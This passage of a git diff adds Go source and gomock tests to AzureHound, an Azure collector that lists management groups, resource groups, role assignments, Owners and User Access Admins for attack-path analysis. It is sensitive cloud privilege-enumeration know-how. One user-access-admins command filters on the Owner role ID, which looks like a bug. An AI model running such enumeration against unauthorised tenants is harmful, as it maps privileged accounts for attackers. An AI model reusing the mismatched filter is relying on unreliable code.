mockClient.EXPECT().ListRoleAssignmentsForResource(gomock.Any(), gomock.Any(), gomock.Any(), gomock.Any()).Return(mockResourceGroupRoleAssignmentChannel).Times(1) + mockClient.EXPECT().ListRoleAssignmentsForResource(gomock.Any(), gomock.Any(), gomock.Any(), gomock.Any()).Return(mockResourceGroupRoleAssignmentChannel2).Times(1) + channel := listResourceGroupRoleAssignments(ctx, mockClient, mockResourceGroupsChannel) + + go func() { + defer close(mockResourceGroupsChannel) + mockResourceGroupsChannel <- AzureWrapper{ + Data: models.ResourceGroup{}, + } + mockResourceGroupsChannel <- AzureWrapper{ + Data: models.ResourceGroup{}, + } + }() + go func() { + defer close(mockResourceGroupRoleAssignmentChannel) + mockResourceGroupRoleAssignmentChannel <- client.AzureResult[azure.RoleAssignment]{ + Ok: azure.RoleAssignment{ + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.ContributorRoleID, + }, + }, + } + mockResourceGroupRoleAssignmentChannel <- client.AzureResult[azure.RoleAssignment]{ + Ok: azure.RoleAssignment{ + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.OwnerRoleID, + }, + }, + } + }() + go func() { + defer close(mockResourceGroupRoleAssignmentChannel2) + mockResourceGroupRoleAssignmentChannel2 <- client.AzureResult[azure.RoleAssignment]{ + Ok: azure.RoleAssignment{ + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.OwnerRoleID, + }, + }, + } + mockResourceGroupRoleAssignmentChannel2 <- client.AzureResult[azure.RoleAssignment]{ + Error: mockError, + } + }() + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if len(result.Data.RoleAssignments) != 2 { + t.Errorf("got %v, want %v", len(result.Data.RoleAssignments), 2) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if len(result.Data.RoleAssignments) != 1 { + t.Errorf("got %v, want %v", len(result.Data.RoleAssignments), 2) + } +} diff --git a/cmd/list-management-group-user-access-admins.go b/cmd/list-management-group-user-access-admins.go new file mode 100644 index 0000000..ecb4be0 --- /dev/null +++ b/cmd/list-management-group-user-access-admins.go @@ -0,0 +1,80 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/internal" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listManagementGroupUserAccessAdminsCmd) +} + +var listManagementGroupUserAccessAdminsCmd = &cobra.Command{ + Use: "management-group-user-access-admins", + Long: "Lists Azure Management Group User Access Admins", + Run: listManagementGroupUserAccessAdminsCmdImpl, + SilenceUsage: true, +} + +func listManagementGroupUserAccessAdminsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure management group user access admins...") + start := time.Now() + managementGroups := listManagementGroups(ctx, azClient) + roleAssignments := listManagementGroupRoleAssignments(ctx, azClient, managementGroups) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + stream := listManagementGroupUserAccessAdmins(ctx, roleAssignments) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listManagementGroupUserAccessAdmins( + ctx context.Context, + roleAssignments <-chan azureWrapper[models.ManagementGroupRoleAssignments], +) <-chan any { + return pipeline.Map(ctx.Done(), roleAssignments, func(ra azureWrapper[models.ManagementGroupRoleAssignments]) any { + filteredAssignments := internal.Filter(ra.Data.RoleAssignments, mgmtGroupRoleAssignmentFilter(constants.UserAccessAdminRoleID)) + uaas := internal.Map(filteredAssignments, func(ra models.ManagementGroupRoleAssignment) models.ManagementGroupUserAccessAdmin { + return models.ManagementGroupUserAccessAdmin{ + UserAccessAdmin: ra.RoleAssignment, + ManagementGroupId: ra.ManagementGroupId, + } + }) + return NewAzureWrapper(enums.KindAZManagementGroupUserAccessAdmin, models.ManagementGroupUserAccessAdmins{ + ManagementGroupId: ra.Data.ManagementGroupId, + UserAccessAdmins: uaas, + }) + }) +} diff --git a/cmd/list-management-group-user-access-admins_test.go b/cmd/list-management-group-user-access-admins_test.go new file mode 100644 index 0000000..39c9d1b --- /dev/null +++ b/cmd/list-management-group-user-access-admins_test.go @@ -0,0 +1,76 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListManagementGroupUserAccessAdmins(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockRoleAssignmentsChannel := make(chan azureWrapper[models.ManagementGroupRoleAssignments]) + mockTenant := azure.Tenant{} + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + channel := listManagementGroupUserAccessAdmins(ctx, mockRoleAssignmentsChannel) + + go func() { + defer close(mockRoleAssignmentsChannel) + + mockRoleAssignmentsChannel <- NewAzureWrapper( + enums.KindAZManagementGroupRoleAssignment, + models.ManagementGroupRoleAssignments{ + ManagementGroupId: "foo", + RoleAssignments: []models.ManagementGroupRoleAssignment{ + { + RoleAssignment: azure.RoleAssignment{ + Name: constants.UserAccessAdminRoleID, + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.UserAccessAdminRoleID, + }, + }, + }, + }, + }, + ) + }() + + if _, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-management-groups.go b/cmd/list-management-groups.go new file mode 100644 index 0000000..3af3019 --- /dev/null +++ b/cmd/list-management-groups.go @@ -0,0 +1,94 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listManagementGroupsCmd) +} + +var listManagementGroupsCmd = &cobra.Command{ + Use: "management-groups", + Long: "Lists Azure Active Directory Management Groups", + Run: listManagementGroupsCmdImpl, + SilenceUsage: true, +} + +func listManagementGroupsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure active directory management groups...") + start := time.Now() + + stream := listManagementGroups(ctx, azClient) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listManagementGroups(ctx context.Context, client client.AzureClient) <-chan interface{} { + out := make(chan interface{}) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(out) + count := 0 + for item := range client.ListAzureManagementGroups(ctx, "") { + if item.Error != nil { + log.Info("warning: unable to process azure management groups; either the organization has no management groups or azurehound does not have the reader role on the root management group.") + return + } else if len(config.AzMgmtGroupId.Value().([]string)) == 0 || contains(config.AzMgmtGroupId.Value().([]string), item.Ok.Name) { + log.V(2).Info("found management group", "managementGroup", item) + count++ + mgmtGroup := models.ManagementGroup{ + ManagementGroup: item.Ok, + TenantId: client.TenantInfo().TenantId, + TenantName: client.TenantInfo().DisplayName, + } + + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZManagementGroup, + Data: mgmtGroup, + }); !ok { + return + } + } + } + log.Info("finished listing all management groups", "count", count) + }() + + return out +} diff --git a/cmd/list-management-groups_test.go b/cmd/list-management-groups_test.go new file mode 100644 index 0000000..72f980c --- /dev/null +++ b/cmd/list-management-groups_test.go @@ -0,0 +1,69 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListManagementGroups(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + mockChannel := make(chan client.AzureResult[azure.ManagementGroup]) + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureManagementGroups(gomock.Any(), gomock.Any()).Return(mockChannel) + + go func() { + defer close(mockChannel) + mockChannel <- client.AzureResult[azure.ManagementGroup]{ + Ok: azure.ManagementGroup{}, + } + mockChannel <- client.AzureResult[azure.ManagementGroup]{ + Error: mockError, + } + mockChannel <- client.AzureResult[azure.ManagementGroup]{ + Ok: azure.ManagementGroup{}, + } + }() + + channel := listManagementGroups(ctx, mockClient) + result := <-channel + if _, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } + + if _, ok := <-channel; ok { + t.Error("expected channel to close from an error result but it did not") + } +} diff --git a/cmd/list-resource-group-owners.go b/cmd/list-resource-group-owners.go new file mode 100644 index 0000000..e049501 --- /dev/null +++ b/cmd/list-resource-group-owners.go @@ -0,0 +1,83 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/internal" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listResourceGroupOwnersCmd) +} + +var listResourceGroupOwnersCmd = &cobra.Command{ + Use: "resource-group-owners", + Long: "Lists Azure Resource Group Owners", + Run: listResourceGroupOwnersCmdImpl, + SilenceUsage: true, +} + +func listResourceGroupOwnersCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure resource group owners...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + resourceGroups := listResourceGroups(ctx, azClient, subscriptions) + roleAssignments := listResourceGroupRoleAssignments(ctx, azClient, resourceGroups) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + stream := listResourceGroupOwners(ctx, roleAssignments) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listResourceGroupOwners( + ctx context.Context, + roleAssignments <-chan azureWrapper[models.ResourceGroupRoleAssignments], +) <-chan any { + return pipeline.Map(ctx.Done(), roleAssignments, func(ra azureWrapper[models.ResourceGroupRoleAssignments]) any { + filteredAssignments := internal.Filter(ra.Data.RoleAssignments, rgRoleAssignmentFilter(constants.OwnerRoleID)) + + owners := internal.Map(filteredAssignments, func(ra models.ResourceGroupRoleAssignment) models.ResourceGroupOwner { + return models.ResourceGroupOwner{ + Owner: ra.RoleAssignment, + ResourceGroupId: ra.ResourceGroupId, + } + }) + + return NewAzureWrapper(enums.KindAZResourceGroupOwner, models.ResourceGroupOwners{ + ResourceGroupId: ra.Data.ResourceGroupId, + Owners: owners, + }) + }) +} diff --git a/cmd/list-resource-group-owners_test.go b/cmd/list-resource-group-owners_test.go new file mode 100644 index 0000000..b580683 --- /dev/null +++ b/cmd/list-resource-group-owners_test.go @@ -0,0 +1,76 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListResourceGroupOwners(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockRoleAssignmentsChannel := make(chan azureWrapper[models.ResourceGroupRoleAssignments]) + mockTenant := azure.Tenant{} + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + channel := listResourceGroupOwners(ctx, mockRoleAssignmentsChannel) + + go func() { + defer close(mockRoleAssignmentsChannel) + + mockRoleAssignmentsChannel <- NewAzureWrapper( + enums.KindAZResourceGroupRoleAssignment, + models.ResourceGroupRoleAssignments{ + ResourceGroupId: "foo", + RoleAssignments: []models.ResourceGroupRoleAssignment{ + { + RoleAssignment: azure.RoleAssignment{ + Name: constants.OwnerRoleID, + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.OwnerRoleID, + }, + }, + }, + }, + }, + ) + }() + + if _, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-resource-group-role-assignments.go b/cmd/list-resource-group-role-assignments.go new file mode 100644 index 0000000..5d89a56 --- /dev/null +++ b/cmd/list-resource-group-role-assignments.go @@ -0,0 +1,130 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listResourceGroupRoleAssignmentsCmd) +} + +var listResourceGroupRoleAssignmentsCmd = &cobra.Command{ + Use: "resource-group-role-assignments", + Long: "Lists Resource Group Role Assignments", + Run: listResourceGroupRoleAssignmentsCmdImpl, + SilenceUsage: true, +} + +func listResourceGroupRoleAssignmentsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure resource group role assignments...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + resourceGroups := listResourceGroups(ctx, azClient, subscriptions) + stream := listResourceGroupRoleAssignments(ctx, azClient, resourceGroups) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listResourceGroupRoleAssignments(ctx context.Context, client client.AzureClient, resourceGroups <-chan interface{}) <-chan azureWrapper[models.ResourceGroupRoleAssignments] { + var ( + out = make(chan azureWrapper[models.ResourceGroupRoleAssignments]) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), resourceGroups) { + if resourceGroup, ok := result.(AzureWrapper).Data.(models.ResourceGroup); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating resource group role assignments", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, resourceGroup.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + resourceGroupRoleAssignments = models.ResourceGroupRoleAssignments{ + ResourceGroupId: id, + } + count = 0 + ) + for item := range client.ListRoleAssignmentsForResource(ctx, id, "", "") { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing role assignments for this resourceGroup", "resourceGroupId", id) + } else { + resourceGroupRoleAssignment := models.ResourceGroupRoleAssignment{ + ResourceGroupId: id, + RoleAssignment: item.Ok, + } + log.V(2).Info("found resourceGroup role assignment", "resourceGroupRoleAssignment", resourceGroupRoleAssignment) + count++ + resourceGroupRoleAssignments.RoleAssignments = append(resourceGroupRoleAssignments.RoleAssignments, resourceGroupRoleAssignment) + } + } + if ok := pipeline.Send(ctx.Done(), out, NewAzureWrapper(enums.KindAZResourceGroupRoleAssignment, resourceGroupRoleAssignments)); !ok { + return + } + log.V(1).Info("finished listing resourceGroup role assignments", "resourceGroupId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all resource group role assignments") + }() + + return out +} diff --git a/cmd/list-resource-group-role-assignments_test.go b/cmd/list-resource-group-role-assignments_test.go new file mode 100644 index 0000000..8b1ac8d --- /dev/null +++ b/cmd/list-resource-group-role-assignments_test.go @@ -0,0 +1,106 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListManagementGroupRoleAssignments(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockManagementGroupsChannel := make(chan interface{}) + mockManagementGroupRoleAssignmentChannel := make(chan client.AzureResult[azure.RoleAssignment]) + mockManagementGroupRoleAssignmentChannel2 := make(chan client.AzureResult[azure.RoleAssignment]) + + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListRoleAssignmentsForResource(gomock.Any(), gomock.Any(), gomock.Any(), gomock.Any()).Return(mockManagementGroupRoleAssignmentChannel).Times(1) + mockClient.EXPECT().ListRoleAssignmentsForResource(gomock.Any(), gomock.Any(), gomock.Any(), gomock.Any()).Return(mockManagementGroupRoleAssignmentChannel2).Times(1) + channel := listManagementGroupRoleAssignments(ctx, mockClient, mockManagementGroupsChannel) + + go func() { + defer close(mockManagementGroupsChannel) + mockManagementGroupsChannel <- AzureWrapper{ + Data: models.ManagementGroup{}, + } + mockManagementGroupsChannel <- AzureWrapper{ + Data: models.ManagementGroup{}, + } + }() + go func() { + defer close(mockManagementGroupRoleAssignmentChannel) + mockManagementGroupRoleAssignmentChannel <- client.AzureResult[azure.RoleAssignment]{ + Ok: azure.RoleAssignment{ + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.ContributorRoleID, + }, + }, + } + mockManagementGroupRoleAssignmentChannel <- client.AzureResult[azure.RoleAssignment]{ + Ok: azure.RoleAssignment{ + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.OwnerRoleID, + }, + }, + } + }() + go func() { + defer close(mockManagementGroupRoleAssignmentChannel2) + mockManagementGroupRoleAssignmentChannel2 <- client.AzureResult[azure.RoleAssignment]{ + Ok: azure.RoleAssignment{ + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.OwnerRoleID, + }, + }, + } + mockManagementGroupRoleAssignmentChannel2 <- client.AzureResult[azure.RoleAssignment]{ + Error: mockError, + } + }() + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if len(result.Data.RoleAssignments) != 2 { + t.Errorf("got %v, want %v", len(result.Data.RoleAssignments), 2) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if len(result.Data.RoleAssignments) != 1 { + t.Errorf("got %v, want %v", len(result.Data.RoleAssignments), 2) + } +} diff --git a/cmd/list-resource-group-user-access-admins.go b/cmd/list-resource-group-user-access-admins.go new file mode 100644 index 0000000..0762c77 --- /dev/null +++ b/cmd/list-resource-group-user-access-admins.go @@ -0,0 +1,81 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/internal" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listResourceGroupUserAccessAdminsCmd) +} + +var listResourceGroupUserAccessAdminsCmd = &cobra.Command{ + Use: "resource-group-user-access-admins", + Long: "Lists Azure Resource Group User Access Admins", + Run: listResourceGroupUserAccessAdminsCmdImpl, + SilenceUsage: true, +} + +func listResourceGroupUserAccessAdminsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure resource group user access admins...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + resourceGroups := listResourceGroups(ctx, azClient, subscriptions) + roleAssignments := listResourceGroupRoleAssignments(ctx, azClient, resourceGroups) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + stream := listResourceGroupUserAccessAdmins(ctx, roleAssignments) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listResourceGroupUserAccessAdmins( + ctx context.Context, + roleAssignments <-chan azureWrapper[models.ResourceGroupRoleAssignments], +) <-chan any { + return pipeline.Map(ctx.Done(), roleAssignments, func(ra azureWrapper[models.ResourceGroupRoleAssignments]) any { + filteredAssignments := internal.Filter(ra.Data.RoleAssignments, rgRoleAssignmentFilter(constants.OwnerRoleID)) + uaas := internal.Map(filteredAssignments, func(ra models.ResourceGroupRoleAssignment) models.ResourceGroupUserAccessAdmin { + return models.ResourceGroupUserAccessAdmin{ + UserAccessAdmin: ra.RoleAssignment, + ResourceGroupId: ra.ResourceGroupId, + } + }) + return NewAzureWrapper(enums.KindAZResourceGroupUserAccessAdmin, models.ResourceGroupUserAccessAdmins{ + ResourceGroupId: ra.Data.ResourceGroupId, + UserAccessAdmins: uaas, + }) + }) +} diff --git a/cmd/list-resource-group-user-access-admins_test.go b/cmd/list-resource-group-user-access-admins_test.go new file mode 100644 index 0000000..8ba792c --- /dev/null +++ b/cmd/list-resource-group-user-access-admins_test.go @@ -0,0 +1,76 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListResourceGroupUserAccessAdmins(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockRoleAssignmentsChannel := make(chan azureWrapper[models.ResourceGroupRoleAssignments]) + mockTenant := azure.Tenant{} + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + channel := listResourceGroupUserAccessAdmins(ctx, mockRoleAssignmentsChannel) + + go func() { + defer close(mockRoleAssignmentsChannel) + + mockRoleAssignmentsChannel <- NewAzureWrapper( + enums.KindAZResourceGroupRoleAssignment, + models.ResourceGroupRoleAssignments{ + ResourceGroupId: "foo", + RoleAssignments: []models.ResourceGroupRoleAssignment{ + { + RoleAssignment: azure.RoleAssignment{ + Name: constants.UserAccessAdminRoleID, + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.UserAccessAdminRoleID, + }, + }, + }, + }, + }, + ) + }() + + if _, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-resource-groups.go b/cmd/list-resource-groups.go new file mode 100644 index 0000000..586279c --- /dev/null +++ b/cmd/list-resource-groups.go @@ -0,0 +1,127 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can 